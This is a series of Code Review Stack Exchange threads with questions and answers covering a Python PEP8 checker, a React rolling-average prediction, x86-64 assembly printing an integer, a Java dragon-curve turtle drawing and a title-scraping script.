Line 13: S003 Unnecessary semicolon
Line 13: S004 At least two spaces before inline comment required
Line 13: S005 TODO found
</code></pre>
<p>I am aware my code, is not optimal and doesn't satisfy every edge case, but I want an idea, on how they parse the errors properly. I would like improvements or better ideas on how to parse for errors since I personally don't like my answers.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T01:36:22.127",
"Id": "489303",
"Score": "1",
"body": "You could start by running your code through a style checker like http://pep8online.com/ , it suggests 8-10 things you should fix."
}
] |
[
{
"body": "<p>When I copy&paste your code into my editor, it immediately greets me with 50 errors and warnings. To be fair, some of these are duplicates, because I have multiple linters configured. However, well over 20 of those are real. And ironically, at least 6 of those would have been reported <em>by your own code</em>!</p>\n<h1>PEP8 violations</h1>\n<ul>\n<li>Maximum line length</li>\n<li>Blank lines (after the module docstring before the first method)</li>\n<li>Single space around operators</li>\n<li>Function names should be <code>lower_snake_case</code></li>\n</ul>\n<h1>Missing import</h1>\n<p>You are missing the import for <code>re</code>.</p>\n<h1>Missing definitions</h1>\n<p>You are missing the definitions for <code>issues</code> and <code>code</code>.</p>\n<h1>Invalid escape sequence</h1>\n<p><code>\\</code> is the escape character in string literals, therefore <code>\\s</code> is interpreted as an escape sequence, but it is not a valid escape sequence. If you want to have a literal backslash in your string, you need to escape it with another backslash: <code>\\\\s</code>.</p>\n<h1>Missing docstrings</h1>\n<p>All of your functions are missing docstrings.</p>\n<h1>Naming</h1>\n<p><code>regex</code>, <code>regex1</code>, and <code>regex2</code> are not very descriptive names.</p>\n<h1>Bugs</h1>\n<p><code>S001</code> should use 72 as the maximum line length for docstrings and comments, and only use 79 for code. Also, there is a problem with PEP8 itself: it limits the line length to 79/72 <em>characters</em>, but it should instead limit the line length to 79/72 <em>columns</em>. There are characters that take up 2 columns, and there are characters that take up 0 columns. Your code uses characters, as specified by PEP8, so it is correct as far as PEP8 is concerned, but columns would make more sense.</p>\n<p><code>S003</code> will incorrectly flag this:</p>\n<pre class=\"lang-py prettyprint-override\"><code>"""\n;\n"""\n</code></pre>\n<p><code>S004</code> will incorrectly flag this:</p>\n<pre class=\"lang-py prettyprint-override\"><code>" #"\n</code></pre>\n<p><code>S005</code> will incorrectly flag this:</p>\n<pre class=\"lang-py prettyprint-override\"><code>"# TODO"\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T11:48:37.133",
"Id": "249569",
"ParentId": "249559",
"Score": "3"
}
},
{
"body": "<p>You have a useful review on several details already, so I'll focus on overall\ndesign. In particular, what good is the larger class doing you? All of your\nPEP8 checkers have access to <code>self</code> and they mutate it when errors occur. It\nfeels like the detailed, algorithmically grubby code of the checkers\nknows far too much. What can be done to simplify their role? One approach is to\nturn them into pure functions with a more generic behavior.</p>\n<p>As a basic demonstration, let's use your original code as the dog food in\na revised checking strategy:</p>\n<pre><code>import re\nfrom textwrap import dedent\nfrom collections import namedtuple\n\n# We'll use your own code in the demo.\nYOUR_CODE = dedent('''\n def S001(self, ln_num: int, line: str):\n if len(line) > 79:\n self.issues.append(f"Line {ln_num}: S001 Too Long")\n\n\n def S002(self, ln_num: int, line: str):\n indentation_length = len(line) - len(line.lstrip())\n if indentation_length % 4 != 0:\n self.issues.append(f"Line {ln_num}: S002 Indentation is not a multiple of four")\n\n\n def S003(self, ln_num: int, line: str):\n regex1 = re.compile("(.*)((;(\\s)*#)|(;$))")\n regex2 = re.compile("#.*;")\n if regex1.search(line) and not regex2.search(line):\n self.issues.append(f"Line {ln_num}: S003 Unnecessary semicolon")\n\n\n def S004(self, ln_num: int, line: str):\n regex = re.compile("(([^ ]{2})|(\\s[^ ])|([^ ]\\s))#")\n if regex.search(line):\n self.issues.append(f"Line {ln_num}: S004 At least two spaces before inline comments required")\n\n\n def S005(self, ln_num: int, line: str):\n regex = re.compile("#(.*)todo", flags=re.IGNORECASE)\n if regex.search(line):\n self.issues.append(f"Line {ln_num}: S005 TODO found")\n\n\n def S006(self, ln_num: int, line: str):\n if self.code[ln_num-4:ln_num-1] == ['', '', ''] and line != "":\n self.issues.append(f"Line {ln_num}: S006 More than two blank lines used before this line")\n''')\n</code></pre>\n<p>What do all checkers need to do their work? Based on your current checks, they\nneed a line number, a line, and sometimes all of the lines (for contextual\nchecks). So let's define a simple data object to hold that context. All\ncheckers will receive one of those objects (a <code>CodeLine</code>) and return <code>True</code> if\nthere is an error. Here's what the checkers would look like with nothing more\nthan those changes.</p>\n<pre><code>CodeLine = namedtuple('CodeLine', 'ln_num line lines')\n\ndef S001(c: CodeLine):\n return len(c.line) > 79\n\ndef S002(c: CodeLine):\n indentation_length = len(c.line) - len(c.line.lstrip())\n return indentation_length % 4 != 0\n\ndef S003(c: CodeLine):\n regex1 = re.compile("(.*)((;(\\s)*#)|(;$))")\n regex2 = re.compile("#.*;")\n return regex1.search(c.line) and not regex2.search(c.line)\n\ndef S004(c: CodeLine):\n regex = re.compile("(([^ ]{2})|(\\s[^ ])|([^ ]\\s))#")\n return regex.search(c.line)\n\ndef S005(c: CodeLine):\n regex = re.compile("#(.*)todo", flags=re.IGNORECASE)\n return regex.search(c.line)\n\ndef S006(c: CodeLine):\n return c.lines[c.ln_num-4:c.ln_num-1] == ['', '', ''] and c.line != ""\n</code></pre>\n<p>Is that change better? It certainly narrows the role and simplifies the code of\nthe checkers. Since they are likely to contain most of the program's\ncomplexity, this feels like a good move. Also, these functions are much easier\nto test and experiment with in debugging situations. They don't need as much\nbootstrapping to get going: just feed them a lightweight <code>CodeLine</code>.\nOne drawback is that we\nno longer see the error descriptions in the checkers -- and they do provide\nuseful cues for developers working on the code. One way to remedy that would be\nto have the checkers return a <code>(FAILED, DESCRIPTION)</code> tuple. Another is just to\nduplicate the descriptions in docstrings or code comments (PEP8 messages don't\nchange very frequently, so managing that duplication is unlikely to be a\nsignificant problem). In any case, you can adjust as desired if you are\ninterested in this general strategy. For now, we'll just define a data\nstructure for the error descriptions.</p>\n<pre><code>ERR_DESCS = {\n S001: 'Too Long',\n S002: 'Indentation is not a multiple of four',\n S003: 'Unnecessary semicolon',\n S004: 'At least two spaces before inline comments required',\n S005: 'TODO found',\n S006: 'More than two blank lines used before this line',\n}\n</code></pre>\n<p>Finally, some code to run the demo.</p>\n<pre><code>def main():\n # Load up the code.\n lines = YOUR_CODE.split('\\n')\n code_lines = [\n CodeLine(i, line, lines)\n for i, line in enumerate(lines)\n ]\n\n # Run all checks.\n errors = [\n error_message(c, f.__name__, desc, f(c))\n for c in code_lines\n for f, desc in ERR_DESCS.items()\n ]\n\n # Throw out the non-errors and print.\n errors = list(filter(None, errors))\n for e in errors:\n print(e)\n\n# Helper to convert a CodeLine to a contextual error message.\ndef error_message(c: CodeLine, name: str, desc: str, failed: bool):\n if failed:\n return f'Line {c.ln_num}: {name} {desc}'\n else:\n return None\n\nmain()\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T19:35:45.233",
"Id": "249577",
"ParentId": "249559",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T01:13:41.297",
"Id": "249559",
"Score": "2",
"Tags": [
"python",
"python-3.x",
"parsing"
],
"Title": "Parse python code, for specific pep8 issues"
}
|
249559
|
<p>I am using a Deep Learning model I trained and want to improve its accuracy by implementing a rolling average prediction. I have already done it but want to improve it as I am making predictions on every 3 frames.</p>
<p><strong>Input:</strong>
Each index represents a class and the respective prediction the model makes.
Order is not alphanumeric as its based on my folder structure during training</p>
<p>1st Index : Class 0</p>
<p>2nd Index : Class 10</p>
<p>3rd Index : class 5</p>
<pre><code>[
0.9288286566734314,
0.008770409040153027,
0.062401000410318375,
]
</code></pre>
<p>So the goal is to store the highest probability and its index at every frame. Based on the structure I mentioned above I add the probability to its class. Every time a new probability gets added I increase a counter. Once the counter reaches N, I find the class which has the most predictions, I sum the probabilities and return the average of it and the respective class it belongs to.</p>
<pre><code>N = 5
Prediction {
"0": [0.9811,0.9924, 0.8763],
"5": [0.9023],
"10": [0.9232]
}
</code></pre>
<p><strong>Code in React(model is loaded on a mobile phone)</strong></p>
<p>Rolling Prediction does the averaging of the predictions and is passed in the array of predictions mentioned in the input.</p>
<p>There are 2 helper functions to find the sum and to find the max value and max index in an array.</p>
<pre><code> const [allPredictions, setAllPredictions] = useState({
"0": [],
"5": [],
"10": []
});
let queueSize = 0;
let total = 0;
const rollingPrediction = arr => {
const { max, maxIndex } = indexOfMax(arr);
const maxFixed = parseFloat(max.toFixed(2));
if (maxIndex === 0) {
allPredictions["0"].push(maxFixed);
queueSize += 1;
} else if (maxIndex === 1) {
allPredictions["10"].push(maxFixed);
queueSize += 1;
} else if (maxIndex === 2) {
allPredictions["5"].push(maxFixed);
queueSize += 1;
}
console.log(`Queue : ${queueSize}`);
if (queueSize > 4) {
console.log("Queue Size Max");
const arr1 = allPredictions["0"].length;
const arr2 = allPredictions["5"].length;
const arr3 = allPredictions["10"].length;
if (arr1 > arr2 && arr1 && arr3) {
const sum = sumOfArray(allPredictions["0"]);
const prob = sum / arr1;
console.log(`Awareness level 0 | Probability: ${prob}`);
} else if (arr2 > arr1 arr2 && arr3) {
const sum = sumOfArray(allPredictions["5"]);
const prob = sum / arr2;
console.log(`Awareness level 5 | Probability: ${prob}`);
} else if (arr3 > arr2 arr3 && arr1) {
const sum = sumOfArray(allPredictions["10"]);
const prob = sum / arr3;
console.log(`Awareness level 10 | Probability: ${prob}`);
} else {
console.log("No rolling prediction");
}
queueSize = 0;
allPredictions["0"] = [];
allPredictions["5"] = [];
allPredictions["10"] = [];
}
};
const sumOfArray = arr => {
for(let i = 0; i < arr.length; i++){
total += arr[i];
}
return total;
};
const indexOfMax = arr => {
if (arr.length === 0) {
return -1;
}
let max = arr[0];
let maxIndex = 0;
for (let i = 0; i < arr.length; i++) {
if (arr[i] > max) {
max = arr[i];
maxIndex = i;
}
}
return {
max,
maxIndex
};
};
</code></pre>
|
[] |
[
{
"body": "<p>I think that, in <code>rollingPrediction</code>, you just need the <code>maxIndex</code>, once that you already can access the <code>max</code> in <code>arr</code> with it.</p>\n<p>Also, since that you need the <code>maxIndex</code> to find the class, you can just store the classes in an array with every class stored in the correspondent index.</p>\n<hr />\n<p>To find which array has the most predictions, you will receive an array and evaluate it to one value. In cases like this, I think that you can use <a href=\"https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce\" rel=\"nofollow noreferrer\">Array.prototype.reduce()</a>:</p>\n<ul>\n<li>In the callback function, check which array has the bigger length</li>\n<li>The initial value will be <code>[null, []]</code>, to check if there's one bigger array and to have an array to compare in the callback function.</li>\n</ul>\n<hr />\n<p>In <code>indexOfMax</code> you can use <a href=\"https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/Math/max\" rel=\"nofollow noreferrer\">Math.max</a> with <a href=\"https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf\" rel=\"nofollow noreferrer\">Array.prototype.indexOf()</a> since performance it's not a problem in this case, but you can use reduce too.</p>\n<hr />\n<p>Suggestion: In <code>sumOfArray</code>, you receive an array as parameter and want to evaluate to one value. Maybe you can use reduce once again.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>// ...\nconst classesIndexed = [\"0\", \"10\", \"5\"];\n// suggestion: once that you know the classes order, this could be:\n// const classesIndexed = Object.keys(allPredictions); \n\nconst rollingPrediction = arr => {\n const maxIndex = indexOfMax(arr);\n if(maxIndex === -1) {\n return;\n }\n const maxFixed = parseFloat(arr[maxIndex].toFixed(2));\n allPredictions[classesIndexed[maxIndex]].push(maxFixed);\n queueSize++;\n\n if (queueSize <= 4) {\n const [className, bigger] = Object.entries(allPredictions)\n .reduce(\n (acc, act) => acc[1].length >= act[1].length ? acc : act,\n [null, []]\n );\n if (!className) {\n const sum = sumOfArray(bigger);\n const prob = sum / bigger.length;\n console.log(`Awareness level ${className} | Probability: ${prob}`);\n } else {\n console.log(\"No rolling prediction\");\n }\n // ...\n};\n// ...\nconst indexOfMax = (arr = []) => arr.indexOf(Math.max(arr))</code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T21:25:41.767",
"Id": "249653",
"ParentId": "249560",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T02:05:04.217",
"Id": "249560",
"Score": "1",
"Tags": [
"javascript",
"performance",
"react.js"
],
"Title": "Rolling average over predictions"
}
|
249560
|
<p>I've written a short script to print a number to a string. This actually was very difficult for me to do -- I'm not sure if this is actually a tricky task or just because I'm so new to asm I was having a hard time. Here it is:</p>
<pre><code>SYS_EXIT = 60
SYS_WRITE = 1
SYS_STDOUT = 1
.section .rodata
number: .long 774728
.text
.globl _start
_start:
# set up stack, align on 16 for syscalls
push %rbp
mov %rsp, %rbp
push number
sub $16, %rsp
# r12 will store the size of the string to print
xor %r12d, %r12d
# on the stack we will store:
# rbp-16 (properly sorted number to print)
# rbp-8 (number that remains)
# rbp-4 (current right-most digit, ie,remainder)
loop:
# if the number is zero, jump to print it
cmpl $0, -8(%rbp)
je print
inc %r12d # increment the size of the string to print
# Divide by ten
# - %rdx will give us the remainder (right-most digit)
# - %rax will give us the new number (for our next iteration of the loop
xor %edx, %edx
movl -8(%rbp), %eax
mov $10, %ebx
div %ebx
movl %eax, -8(%rbp)
# (a) add 48, because ASCII is number + 48, for example ord('7') ==> 55
addl $48, %edx
# (b) move the asci number to rbp-8-len (to print in reverse)
# store offset (8+len) in %r13
mov $-8, %r13
sub %r12, %r13
movb %dl, (%rbp, %r13)
jmp loop
print:
# print(%edi:stdout(int), %esi:mem_of_string(* void), %edx:len_of_string(int))
# (b) How to print the digit to asci (probably fixed offset for 0-9)
# Our output has length %r12 and starts at rbp-8-len
# Which, conveniently enough, is (%rbp, %r13)!
mov $SYS_STDOUT, %edi
lea (%rbp, %r13), %rsi # remember, this is an 8-byte MEMORY ADDRESS (pointer), not a number
mov %r12d, %edx
mov $SYS_WRITE, %eax
syscall
exit:
add $8, %rsp # <-- can also do an empty pop, such as pop %rcx
mov %rbp, %rsp
pop %rbp
mov $0, %rdi
mov $SYS_EXIT, %eax
syscall
</code></pre>
<p>And running it:</p>
<pre><code>13_strings$ as file.s -o file.o && ld file.o -o file && ./file
# 774728
</code></pre>
<p>Thank you for taking the time to review. Any feedback would be greatly appreciated!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T05:29:46.130",
"Id": "489304",
"Score": "1",
"body": "There's no need to use any call-preserved registers for this (R12..R15, or RBX or RBP). [Printing an integer as a string with AT&T syntax, with Linux system calls instead of printf](https://stackoverflow.com/a/45851398) / [How do I print an integer in Assembly Level Programming without printf from the c library?](https://stackoverflow.com/a/46301894) are my AT&T and NASM examples of doing this nicely."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T05:37:23.543",
"Id": "489305",
"Score": "0",
"body": "Did you copy that `push number` from [What to do with an empty pop?](https://stackoverflow.com/posts/comments/113107994)? Like I commented there, that's a qword (8-byte) load from a 4-byte `.long`. The high bytes could hold random garbage depending what gets linked next to `.rodata`. (However, you later only look at the low 4 bytes). Also, IDK why you're using stack space at all; x86-64 has lots of registers."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T05:38:22.533",
"Id": "489306",
"Score": "0",
"body": "@PeterCordes thanks for your tips and feedback. How were you able to use/import the `mov $__NR_write, %eax` ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T05:39:24.347",
"Id": "489307",
"Score": "1",
"body": "From `#include <asm/unistd_64.h>`, and assemble with `gcc foo.S` so it preprocesses your file with CPP before assembling."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T05:42:10.790",
"Id": "489308",
"Score": "0",
"body": "@PeterCordes registers: I think when I planned writing it I was going to call functions so I didn't want to use any call-clobbered registers, but then I did it all in `_start`. Oh I see about the high byte, it could hold an invalid/garbage value so needs to be accounted for."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T05:21:15.290",
"Id": "249563",
"Score": "3",
"Tags": [
"assembly",
"x86"
],
"Title": "Printing a decimal number as a string"
}
|
249563
|
<p>This is exercise 3.2.23. from the book <em>Computer Science An Interdisciplinary Approach</em> by Sedgewick & Wayne:</p>
<p>Write a recursive Turtle client that draws <a href="https://en.wikipedia.org/wiki/Dragon_curve" rel="nofollow noreferrer">dragon fractal</a>.</p>
<p>The following is the data-type implementation for Turtle graphics from the book which I beautified:</p>
<pre><code>public class Turtle {
private double x;
private double y;
private double angle;
public Turtle(double x, double y, double angle) {
this.x = x;
this.y = y;
this.angle = angle;
}
public void turnLeft(double delta) {
angle += delta;
}
public void goForward(double step) {
double oldX = x, oldY = y;
x += step * Math.cos(Math.toRadians(angle));
y += step * Math.sin(Math.toRadians(angle));
StdDraw.line(oldX, oldY, x, y);
}
}
</code></pre>
<p><a href="https://introcs.cs.princeton.edu/java/stdlib/javadoc/StdDraw.html" rel="nofollow noreferrer">StdDraw</a> is a simple API written by the authors of the book.</p>
<p>Here is my program:</p>
<pre><code>public class Dragon {
public static void drawDragonCurve(int n, double step, Turtle turtle) {
if (n == 0) {
turtle.goForward(step);
return;
}
drawDragonCurve(n - 1, step, turtle);
turtle.turnLeft(90);
drawNodragCurve(n - 1, step, turtle);
}
public static void drawNodragCurve(int n, double step, Turtle turtle) {
if (n == 0) {
turtle.goForward(step);
return;
}
drawDragonCurve(n - 1, step, turtle);
turtle.turnLeft(-90);
drawNodragCurve(n - 1, step, turtle);
}
public static void main(String[] args) {
int n = Integer.parseInt(args[0]);
double step = Double.parseDouble(args[1]);
Turtle turtle = new Turtle(0.67, 0.5, 0);
drawDragonCurve(n, step, turtle);
}
}
</code></pre>
<p>I checked my program and it works. Here is one instance of it:</p>
<p>Input: 12 0.007</p>
<p>Output:</p>
<p><a href="https://i.stack.imgur.com/3dxhl.gif" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3dxhl.gif" alt="enter image description here" /></a></p>
<p>Is there any way that I can improve my program?</p>
<p>Thanks for your attention.</p>
|
[] |
[
{
"body": "<h1>Whitespace</h1>\n<p>There should be a blank line between two method definitions.</p>\n<p>Also, some blank lines inside of the methods would give the code room to breathe, and allow you to visually separate individual "steps" from each other, for example in your <code>main</code> method:</p>\n<pre class=\"lang-java prettyprint-override\"><code>int n = Integer.parseInt(args[0]);\ndouble step = Double.parseDouble(args[1]);\nTurtle turtle = new Turtle(0.67, 0.5, 0);\n\ndrawDragonCurve(n, step, turtle);\n</code></pre>\n<h1>Magic values</h1>\n<p>There are several magic values in your code. While it is probably clear what <code>90</code> means in a turtle graphic environment, the values <code>0.67</code> and <code>0.5</code> mean nothing to me. What are they? And more importantly: <em>Why</em> are they the values that they are? Why not <code>0.66</code> or <code>0.68</code>?</p>\n<p>Variables allow you to give explanatory, intention-revealing names to your values.</p>\n<pre class=\"lang-java prettyprint-override\"><code>final var initialXCoordinate = 2.0 / 3.0;\nfinal var initialYCoordinate = 0.5;\nfinal var initialAngle = 0;\nturtle = new Turtle(initialXCoordinate, initialYCoordinate, initialAngle);\n</code></pre>\n<h1>Type inference</h1>\n<p>I am a big fan of type inference, especially in cases where the type is obvious:</p>\n<pre class=\"lang-java prettyprint-override\"><code>double step = Double.parseDouble(args[1]);\n</code></pre>\n<p>How often do I have to told that this is a double? I get it!</p>\n<pre class=\"lang-java prettyprint-override\"><code>var step = Double.parseDouble(args[1]);\n</code></pre>\n<p>Same here:</p>\n<pre class=\"lang-java prettyprint-override\"><code>Turtle turtle = new Turtle(0.67, 0.5, 0);\n</code></pre>\n<p>This almost sounds like someone stuttering. I don't need the <code>turtle</code> variable to be explicitly annotated with the <code>Turtle</code> type to understand that a variable called <code>turtle</code> being initialized with a <code>Turtle</code> is <em>probably</em> a turtle:</p>\n<pre class=\"lang-java prettyprint-override\"><code>var turtle = new Turtle(0.67, 0.5, 0);\n</code></pre>\n<h1><code>final</code></h1>\n<p>I am also a big fan of making everything that <em>can</em> be made <code>final</code> explicitly <code>final</code>. And even for things that can't be made <code>final</code> as written, I'd investigate whether it can be rewritten so it <em>can</em> be made <code>final</code>.</p>\n<p>Note, by "everything" I mean primarily variables and fields. However, unless a class is explicitly designed to be extended, it should also be marked <code>final</code>. And of course, immutable classes need to be <code>final</code> anyway.</p>\n<h1><code>private</code></h1>\n<p>None of your methods are used by any outside client (except for <code>main</code>), so they should all be <code>private</code>.</p>\n<h1>Naming</h1>\n<p><code>n</code> is a terrible name. I have no idea what it means. I promise you, your keyboard is not going to wear out from making your variable names a little more descriptive. I <em>believe</em> it is referring to the order of the fractal.</p>\n<p>Also, I have no idea what a <code>Nodrag</code> is.</p>\n<h1>Scope</h1>\n<p>It seems that <code>step</code> is always the same. There is no need to pass it as an argument if it is always the same. The purpose of a parameter is to allow a method to <em>differ</em> in its behavior. There is no need for it if it is never different.</p>\n<p>The same applies to <code>Turtle</code>.</p>\n<h1>Code Duplication</h1>\n<p>This is the big one. There is a <em>lot</em> of code duplication. In fact, <code>drawDragonCurve</code> and <code>drawNodragCurve</code> are <em>100% identical</em> except for one single character.</p>\n<p>The only thing that is changing is the sign of the turn angle, or in other words, the direction of the turn. We can turn the sign into a parameter of the method, and pass it along accordingly.</p>\n<p>I will keep the original <code>drawDragonCurve</code> method in place as an overload, which calls the new overload with the correct starting parameter, because a client should not need to know whether <code>1</code> or <code>-1</code> is the correct starting value.</p>\n<pre class=\"lang-java prettyprint-override\"><code>public class Dragon {\n private static double step;\n private static Turtle turtle;\n\n private static void drawDragonCurve(final int order) {\n drawDragonCurve(order - 1, 1);\n }\n\n private static void drawDragonCurve(final int order, final int sign) {\n if (order == 0) {\n turtle.goForward(step);\n return;\n }\n\n drawDragonCurve(order - 1, 1);\n turtle.turnLeft(sign * -90);\n drawDragonCurve(order - 1, -1);\n }\n\n public static void main(final String[] args) {\n final var order = Integer.parseInt(args[0]);\n step = Double.parseDouble(args[1]);\n\n final var initialXCoordinate = 2.0 / 3.0;\n final var initialYCoordinate = 0.5;\n final var initialAngle = 0;\n turtle = new Turtle(initialXCoordinate, initialYCoordinate, initialAngle);\n\n drawDragonCurve(order);\n }\n}\n</code></pre>\n<p>Note that I might have made a mistake with the flipping of the sign. However, there is no way for me to test your code, because <code>Dragon</code> is intimately linked to <code>Turtle</code> and <code>Turtle</code> is intimately linked to <code>StdDraw</code>, which I don't have access to.</p>\n<p>This brings me to my last point:</p>\n<h1>Testability, Modularity, Overall Design</h1>\n<ul>\n<li>All your methods are <code>static</code>, in other words, they aren't really methods at all, they are glorified <em>procedures</em>. There are no objects!</li>\n<li>All your methods return <code>void</code>, in other words, they don't return anything, they purely perform side-effects.</li>\n<li>All your classes are intricately linked to each other, there is no way to separate them, to use them independently, to test them independently.</li>\n</ul>\n<p>It is hard to test code if I can't instantiate an object that I can test. It is hard to test code if everything is just a side-effect, and I can't simply compare return values. It is hard to test code if I always need the entire thing and can't test pieces independently or swap out pieces for test versions.</p>\n<p>At the moment, the only way to test your code, is to run the entire thing, take a screenshot and compare it with a pre-recorded one. This adds a huge amount of complexity to the tests, and is very slow. Ideally, you want to be able to run your tests every couple of seconds.</p>\n<p>For example, <code>Dragon</code> should be a <em>true object</em>, not a static class. It should have the dependency on <code>Turtle</code> injected, not hard-coded. The <code>Turtle</code> dependency should be abstracted behind an <code>interface</code>, so that, for testing purposes, I can replace the turtle with a version that records the commands and compares them to a pre-recorded sequence instead of drawing on the screen.</p>\n<p>Likewise, <code>StdDraw</code> should be a <em>true object</em> as well, hidden behind an <code>interface</code>, and I should be able to instantiate a version that uses ASCII art instead of Swing, or that simply creates a bit matrix that I can compare with a pre-recorded one for testing.</p>\n<p><em>At least</em>, <code>Turtle</code> is a class that can actually be instantiated, and has behavior.</p>\n<p>This is just a sketch:</p>\n<h2><code>App.java</code></h2>\n<pre class=\"lang-java prettyprint-override\"><code>class App {\n public static void main(final String[] args) {\n final var order = Integer.parseInt(args[0]);\n final var step = Double.parseDouble(args[1]);\n\n final var initialXCoordinate = 2.0 / 3.0;\n final var initialYCoordinate = 0.5;\n final var initialAngle = 0;\n final var turtle = new StdDrawTurtle(initialXCoordinate, initialYCoordinate, initialAngle);\n\n final var dragon = new Dragon(order, step, turtle);\n\n dragon.drawDragonCurve();\n }\n}\n</code></pre>\n<h2><code>Dragon.java</code></h2>\n<pre class=\"lang-java prettyprint-override\"><code>public record Dragon(final int order, final double step, final Turtle turtle) {\n public void drawDragonCurve() {\n drawDragonCurve(order - 1, 1);\n }\n\n private void drawDragonCurve(final int order, final int sign) {\n if (order == 0) {\n turtle.goForward(step);\n return;\n }\n\n drawDragonCurve(order - 1, 1);\n turtle.turnLeft(sign * -90);\n drawDragonCurve(order - 1, -1);\n }\n</code></pre>\n<h2><code>Turtle.java</code></h2>\n<pre class=\"lang-java prettyprint-override\"><code>public interface Turtle {\n public void turnLeft(final double delta);\n public void goForward(final double step);\n}\n</code></pre>\n<h2><code>StdDrawTurtle.java</code></h2>\n<pre class=\"lang-java prettyprint-override\"><code>public class StdDrawTurtle implements Turtle {\n private double x;\n private double y;\n private double angle;\n\n public StdDrawTurtle(final double x, final double y, final double angle) {\n this.x = x;\n this.y = y;\n this.angle = angle;\n }\n\n public void turnLeft(final double delta) {\n angle += delta;\n }\n\n public void goForward(final double step) {\n final double oldX = x, oldY = y;\n\n x += step * Math.cos(Math.toRadians(angle));\n y += step * Math.sin(Math.toRadians(angle));\n\n StdDraw.line(oldX, oldY, x, y);\n }\n}\n</code></pre>\n<h2><code>FakeTurtle.java</code></h2>\n<pre class=\"lang-java prettyprint-override\"><code>import java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\n\npublic class FakeTurtle implements Turtle {\n record TurtleState(double x1, double y1, double x2, double y2) {}\n\n private final List<TurtleState> recording;\n private double x;\n private double y;\n private double angle;\n\n public FakeTurtle(final double x, final double y, final double angle) {\n recording = new ArrayList<>();\n this.x = x;\n this.y = y;\n this.angle = angle;\n }\n\n public List<TurtleState> getRecording() {\n return Collections.unmodifiableList(recording);\n }\n\n public void turnLeft(final double delta) {\n angle += delta;\n }\n\n public void goForward(final double step) {\n final double oldX = x, oldY = y;\n\n x += step * Math.cos(Math.toRadians(angle));\n y += step * Math.sin(Math.toRadians(angle));\n\n recording.add(new TurtleState(oldX, oldY, x, y));\n }\n}\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T10:39:27.920",
"Id": "489321",
"Score": "0",
"body": "`Nodrag` appears to be a mis-reversal of `Dragon`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T14:25:16.880",
"Id": "489328",
"Score": "0",
"body": "Thanks for your great answer! But one word to `final`: in general I agree to that. I just like to mention that this (IMHO) does *not* apply to classes and methods. If this is your opinion too you might mention that in the answer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T15:30:46.503",
"Id": "489329",
"Score": "0",
"body": "@TimothyTruckle: In general, classes need to be explicitly designed for extension, so I would assume that when you are sure that your class is extensible, you will know to remove the `final` modifier. Also, I am big fan of immutable objects and those obviously require classes to be `final`. But you are right, I should clarify that in the answer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T15:48:35.797",
"Id": "489330",
"Score": "0",
"body": "*\"In general, classes need to be explicitly designed for extension,\"* One of your points is \"testability\". When talking about *unit test* we need to be able to *mock* dependencies of the unit under test. But mocking is hard for `final` declared classes. And no, PowerMock is not a solution, but a surrender to bad design... ;o)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T21:14:32.773",
"Id": "489347",
"Score": "0",
"body": "@JörgWMittag Thank you very much for the detailed and beautiful answer. Very much appreciated. :)"
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T10:12:50.317",
"Id": "249568",
"ParentId": "249564",
"Score": "7"
}
}
] |
{
"AcceptedAnswerId": "249568",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T08:03:26.617",
"Id": "249564",
"Score": "2",
"Tags": [
"java",
"beginner",
"recursion",
"fractals",
"turtle-graphics"
],
"Title": "Drawing dragon curves using Turtle graphics"
}
|
249564
|
<p>The following code asynchronously extract title from URLs (saved in <code>book-urls.txt</code>).</p>
<pre><code>from bs4 import BeautifulSoup
import grequests
links = list()
file1 = open("book-urls.txt", "r")
Lines = file1.readlines()
for line in Lines:
links.append(line)
file1.close()
reqs = (grequests.get(link) for link in links)
resp = grequests.map(reqs)
for r in resp:
try:
soup = BeautifulSoup(r.text)
print(soup.title.string)
except:
pass
</code></pre>
<p>The input is:</p>
<pre class="lang-none prettyprint-override"><code>https://learning.oreilly.com/library/view/a-reviewers-handbook/9781118025635/
https://learning.oreilly.com/library/view/accounting-all-in-one-for/9781119453895/
